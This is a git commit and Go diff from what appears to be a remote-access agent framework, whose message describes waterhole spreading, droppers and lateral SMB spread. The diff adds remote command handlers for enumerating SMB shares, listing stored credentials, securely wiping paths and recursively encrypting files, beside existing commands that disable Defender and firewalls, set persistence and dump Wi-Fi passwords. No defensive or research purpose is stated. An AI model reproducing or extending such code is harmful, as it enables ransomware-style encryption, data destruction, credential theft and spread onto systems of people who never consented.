feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -3,6 +3,7 @@ package client
import (
"encoding/json"
"fmt"
"runtime"
"strconv"
"strings"
@@ -20,7 +21,7 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
@@ -95,6 +96,39 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, out)
return true
case "smb_shares":
if runtime.GOOS != "windows" {
c.sendCommandResult(action, false, "smb_shares is Windows-only")
return true
}
maxHosts := parsePortArg(command, 32)
out := deploy.EnumerateSMBShares(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "spread_status":
out := deploy.GetSpreadStatusJSON()
c.sendCommandResult(action, true, out)
return true
case "credential_vault_list":
out := listCredentialVaultNames()
c.sendCommandResult(action, true, out)
return true
case "secure_wipe":
target := strings.TrimSpace(path)
if target == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
go func() {
result := SecureWipePath(target)
ok := !strings.HasPrefix(result, "secure_wipe error:")
c.sendCommandResult(action, ok, result)
}()
return true
case "defender_off":
msg, err := deploy.DisableDefenderRealtime()
if err != nil {
@@ -227,9 +261,19 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
}()
return true
case "sys_crypt":
case "sys_crypt", "encrypt_path":
target := strings.TrimSpace(path)
recursive := parseRecursiveFlag(command, data)
if action == "sys_crypt" && target == "" {
recursive = true
}
go func() {
result := SysCrypt()
var result string
if target == "" && action == "sys_crypt" {
result = SysCrypt()
} else {
result = EncryptPath(target, recursive)
}
c.sendCommandResult(action, true, result)
}()
return true